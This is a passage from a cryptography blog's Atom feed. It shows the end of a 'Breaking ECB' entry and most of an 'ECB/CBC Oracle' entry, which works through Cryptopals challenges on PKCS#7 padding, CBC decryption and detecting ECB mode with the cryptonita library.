&lt;span class="n"&gt;standby&lt;/span&gt; &lt;span class="n"&gt;waving&lt;/span&gt; &lt;span class="n"&gt;just&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;say&lt;/span&gt; &lt;span class="n"&gt;hi&lt;/span&gt;\&lt;span class="n"&gt;nDid&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;I&lt;/span&gt; &lt;span class="n"&gt;just&lt;/span&gt; &lt;span class="n"&gt;drove&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt;\&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/06/10/Breaking-ECB.html" rel="alternate" type="text/html" title="Breaking ECB"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="ECB" label="ECB"/>
    <published>2018-06-10T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/06/09/ECB-CBC-Oracle.html</id>
    <title>ECB/CBC Oracle</title>
    <updated>2018-06-09T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;In this post will review the Cipher Block Chaining mode (or CBC) and how we can build &lt;a href="https://cryptopals.com/sets/2/challenges/11"&gt;an ECB/CBC detection oracle&lt;/a&gt; to distinguish ECB from CBC using &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This will be the bases for &lt;a href="/articles/2018/06/10/Breaking-ECB.html"&gt;breaking ECB&lt;/a&gt; in a later post.&lt;!--more--&gt;&lt;/p&gt;
&lt;h3 id="pkcs7-padding"&gt;&lt;code class="none"&gt;PKCS#7&lt;/code&gt; padding&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://cryptopals.com/sets/2/challenges/9"&gt;Implement PKCS#7 padding&lt;/a&gt;, easy cake.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;load_bytes&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;YELLOW SUBMARINE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;YELLOW SUBMARINE&lt;/span&gt;&lt;span class="se"&gt;\x04\x04\x04\x04&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CllldXAsIFtQS0NTIzcgcGFkZGluZyB2YWxpZGF0aW9uXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMi9jaGFsbGVuZ2VzLzE1KSwKSSBrbm93IHdoYXQgaXMgY29taW5nIHdpdGggdGhpcy4uLi4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CllldXAsIFtQS0NTIzcgcGFkZGluZyB2YWxpZGF0aW9uXShodHRwczovL2NyeXB0b3BhbHMuY29tL3NldHMvMi9jaGFsbGVuZ2VzLzE1KSwKSSBrbm93IHdoYXQgaXMgY29taW5nIHdpdGggdGhpcy4uLi4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Yeup, &lt;a href="https://cryptopals.com/sets/2/challenges/15"&gt;PKCS#7 padding validation&lt;/a&gt;, I know what is coming with this….
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If a plaintext has an incorrect padding, the &lt;code class="none"&gt;unpad&lt;/code&gt; will fail.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;ICE ICE BABY&lt;/span&gt;&lt;span class="se"&gt;\x05\x05\x05\x05&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Bad&lt;/span&gt; &lt;span class="n"&gt;padding&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="mh"&gt;0x5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="cbc---cipher-block-chaining"&gt;CBC - Cipher block chaining&lt;/h3&gt;
&lt;p&gt;This time we need to &lt;a href="https://cryptopals.com/sets/2/challenges/10"&gt;Implement CBC mode&lt;/a&gt; ourselves, also known as &lt;em&gt;Cipher Block Chaining&lt;/em&gt; mode.&lt;/p&gt;
&lt;p&gt;At difference with the ECB, the CBC mode uses the previous ciphertext block to XOR the current plaintext block before encrypting it.&lt;/p&gt;
&lt;p&gt;For the first plaintext block we use an &lt;a href="https://en.wikipedia.org/wiki/Initialization_vector"&gt;Initialization Vector&lt;/a&gt; for the XOR operation.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/matasano/cbc-enc.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This IV should be random but for the sake of the test it will be full of zeros.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;./posts/matasano/assets&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;challenge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dec_cbc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_cbc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;enc_ecb&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/10.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;YELLOW SUBMARINE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dec_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;I&amp;#39;m back and I&amp;#39;m ringin&amp;#39; the bell&amp;lt;...&amp;gt;Play that funky music &lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;br /&gt; At difference with the encryption, the decryption of one block doesn't depend of any other: you can decrypt any block at random or in parallel.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img style="max-width: 60%;" class='' alt='' src='/img/matasano/cbc-dec.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="generating-secrets"&gt;Generating secrets&lt;/h3&gt;
&lt;p&gt;&lt;label for='CldpdGggdGhlIGV4Y2VwdGlvbiBvZiB0aGUgKnNlZWQqIHRoYXQgd2lsbCBiZSBmaXggdG8gbWFrZSB0aGUgdGVzdApyZXByb2R1Y2libGUgYW5kIHRoZSAqYmxvY2sgc2lkZSogdG8gbWFrZSBpdCBhIGxpdHRsZSBlYXNpZXIuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldpdGggdGhlIGV4Y2VwdGlvbiBvZiB0aGUgKnNlZWQqIHRoYXQgd2lsbCBiZSBmaXggdG8gbWFrZSB0aGUgdGVzdApyZXByb2R1Y2libGUgYW5kIHRoZSAqYmxvY2sgc2lkZSogdG8gbWFrZSBpdCBhIGxpdHRsZSBlYXNpZXIuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
With the exception of the &lt;em&gt;seed&lt;/em&gt; that will be fix to make the test reproducible and the &lt;em&gt;block side&lt;/em&gt; to make it a little easier.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Before doing real crypto, we need to generate a &lt;em&gt;secret and random&lt;/em&gt; configuration&lt;/p&gt;
&lt;p&gt;This configuration will have all the components needed for the challenges: the random key, the IV, the encryption mode and the &lt;em&gt;secret payload&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This secret payload will be appended to the attacker-controlled plaintext so the attacker controls the plaintext only partially.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;challenge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;20180610&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s1"&gt;&amp;#39;aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s1"&gt;&amp;#39;dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;            &lt;span class="s1"&gt;&amp;#39;YnkK&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;random_state&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;posfix&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s create the encryption oracle: a function that encrypts a plaintext under a secret encryption mode.&lt;/p&gt;
&lt;p&gt;The attacker/adversary will be in control of part of the plaintext to which the secret payload will be appended later before the encryption.&lt;/p&gt;
&lt;p&gt;Everything else is secret for the adversary: the key, the IV, the mode.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encryption_oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;partial_plaintext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;cfg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generate_config&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# update the random attributes&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kargs&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;block_size&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;# (known)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# prepend + append with two random strings; pad it later&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;prefix&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;partial_plaintext&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;posfix&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;#            (unknown)        (known)         (unknown)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# encrypt the plaintext with one of the available modes&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# but exactly which, ECB or CBC, is unknown to us&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enc_mode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;ecb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enc_ecb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enc_mode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cbc&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enc_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Invalide chain mode &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;enc_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On each call, the secret random configuration is regenerated. So everything changes on each call with the exception of the &lt;code class="none"&gt;block_size&lt;/code&gt; and &lt;code class="none"&gt;posfix&lt;/code&gt; (secret).&lt;/p&gt;
&lt;p&gt;Those two where fixed during the construction of the configuration and they will remain fixed.&lt;/p&gt;
&lt;h2 id="the-ecbcbc-oracle"&gt;The ECB/CBC oracle&lt;/h2&gt;
&lt;p&gt;Now this is where the action begins.&lt;/p&gt;
&lt;p&gt;&lt;label for='CltBbiBFQ0IvQ0JDIGRldGVjdGlvbiBvcmFjbGVdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8yL2NoYWxsZW5nZXMvMTEpCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CltBbiBFQ0IvQ0JDIGRldGVjdGlvbiBvcmFjbGVdKGh0dHBzOi8vY3J5cHRvcGFscy5jb20vc2V0cy8yL2NoYWxsZW5nZXMvMTEpCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;a href="https://cryptopals.com/sets/2/challenges/11"&gt;An ECB/CBC detection oracle&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In this challenge we need to find when a secret encryption is using ECB or CBC mode.&lt;/p&gt;
&lt;p&gt;Now, lets create a (partial) plaintext of &lt;em&gt;three times&lt;/em&gt; the block size.&lt;/p&gt;
&lt;p&gt;With a (partial) plaintext of twice the block size we can know if the cipher is using ECB or CBC because if it is using ECB, two same plaintext blocks will be encrypted to the same ciphertext block&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ecb_cbc_no_prefix.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;But because we have some &lt;em&gt;extra plaintext prepended&lt;/em&gt;, we cannot know if our two blocks will be &lt;em&gt;aligned to the block boundary&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ecb_cbc_prefix_unaligned.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;To workaround this we set a plaintext three times the block size:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object style="width: 70%;" class='' align='middle' data='/img/matasano/ecb_cbc_prefix_aligned.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Now it is a matter of counting duplicated blocks.&lt;/p&gt;
&lt;p&gt;In &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt; there is a convenient &lt;code class="none"&gt;iduplicates&lt;/code&gt; method for this.&lt;/p&gt;
&lt;p&gt;If we found one block duplicated assume that we are using ECB otherwise CBC (so we will use &lt;code class="none"&gt;has_duplicates&lt;/code&gt; directly).&lt;/p&gt;
&lt;p&gt;We will repeat this 1024 to prove that this works:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;choosen_partial_plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;block_size&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

